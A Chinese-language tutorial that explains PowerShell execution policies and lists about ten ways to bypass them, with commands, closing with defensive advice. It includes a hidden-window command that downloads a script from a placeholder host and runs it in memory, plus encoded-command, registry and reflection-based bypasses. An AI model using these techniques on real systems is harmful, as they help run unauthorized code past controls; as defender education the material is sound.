初探Powershell执行策略
字数 1327 2025-08-09 13:33:40
PowerShell执行策略详解与绕过技术
1. PowerShell执行策略概述
PowerShell执行策略(Execution Policy)是Windows系统用来控制哪些类型的PowerShell脚本可以在系统中运行的安全机制。它并非真正的安全边界,而是帮助用户设置基本规则并防止无意中违反规则。
1.1 执行策略类型
PowerShell提供了六种执行策略:
-
Restricted:
- Windows客户端计算机的默认策略
- 允许运行单个命令,但阻止所有脚本执行
- 阻止.ps1xml、.psm1和.ps1等脚本文件
-
AllSigned:
- 允许运行脚本
- 要求所有脚本和配置文件都由受信任的发布者签名
- 包括本地编写的脚本也需要签名
-
RemoteSigned:
- Windows服务器计算机的默认策略
- 允许运行脚本
- 要求从Internet下载的脚本和配置文件必须有可信发布者的数字签名
- 本地编写的脚本不需要签名
-
Unrestricted:
- 允许运行未签名的脚本
- 存在运行恶意脚本的风险
- 运行非本地Intranet区域的脚本前会警告用户
-
Bypass:
- 不阻止任何内容,也没有警告或提示
- 设计用于将PowerShell嵌入到更大应用程序中的配置
-
Undefined:
- 当前作用域中未设置执行策略
- 如果所有作用域都是Undefined,则有效策略为Restricted
1.2 执行策略作用域
执行策略可以应用于不同的范围:
- MachinePolicy:由组策略为所有用户设置
- UserPolicy:由组策略为当前用户设置
- Process:为当前PowerShell进程设置
- CurrentUser:为当前用户设置
- LocalMachine:为所有用户设置
2. 执行策略相关命令
2.1 查看执行策略
# 查看当前执行策略
Get-ExecutionPolicy
# 查看所有作用域的执行策略
Get-ExecutionPolicy -List
2.2 修改执行策略
# 设置执行策略(需要管理员权限)
Set-ExecutionPolicy <策略名称>
3. 绕过执行策略的技术
3.1 直接粘贴脚本到交互窗口
由于Restricted策略允许运行单个命令,可以将脚本代码粘贴到PowerShell交互窗口直接执行。
3.2 使用-Command参数
powershell -command "Write-Host 'this is a test'"
适用于简单脚本的执行,复杂脚本可能无法执行。
3.3 管道传输
通过管道将脚本内容传输到PowerShell的标准输入:
# 使用echo
echo "Write-Host 'this is a test'" | PowerShell.exe -noprofile -
# 使用type命令
type script.ps1 | PowerShell.exe -noprofile -
# 使用Get-Content
Get-Content script.ps1 | PowerShell.exe -noprofile -
3.4 使用Invoke-Command或Invoke-Expression
# 使用Invoke-Command
Invoke-Command -ScriptBlock { Write-Host "this is a test" }
# 远程执行(理论上)
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
# 使用Invoke-Expression
Get-Content script.ps1 | Invoke-Expression
Get-Content script.ps1 | iex # iex是Invoke-Expression的别名
3.5 使用Bypass标记
powershell.exe -ExecutionPolicy Bypass -File script.ps1
3.6 使用-EncodedCommand参数
通过Base64编码执行脚本:
# 生成编码命令
$command = "Write-Host 'this is a test'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$encodedCommand
# 执行编码命令
powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgACcAdABoAGkAcwAgAGkAcwAgAGEAIAB0AGUAcwB0ACcA
3.7 URL Download技术
从网络下载并执行脚本,无需写入磁盘:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://example.com/script.ps1'))"
3.8 注册表修改
修改注册表中的执行策略设置:
# 修改LocalMachine策略(需要管理员权限)
reg add HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v ExecutionPolicy /t REG_SZ /d Bypass
# 修改CurrentUser策略(普通用户可能可行)
reg add HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v ExecutionPolicy /t REG_SZ /d Bypass
3.9 基于作用域绕过
# 设置Process作用域(无需管理员)
Set-ExecutionPolicy Bypass -Scope Process
# 设置CurrentUser作用域(无需管理员)
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
3.10 交换AuthorizationManager
通过替换AuthorizationManager来禁用执行策略:
function Disable-ExecutionPolicy {
($ctx = $executioncontext.gettype().getfield("_context", "nonpublic,instance").getvalue($executioncontext)).gettype().getfield("_authorizationManager", "nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy
4. 总结
PowerShell执行策略虽然提供了基本的脚本执行控制,但存在多种绕过方法。安全团队应了解这些技术,以便更好地防御潜在的攻击。对于系统管理员,建议:
- 监控PowerShell活动日志
- 实施应用程序白名单
- 限制PowerShell的使用权限
- 定期审计系统配置
记住,执行策略不是安全边界,真正的安全需要多层防御策略。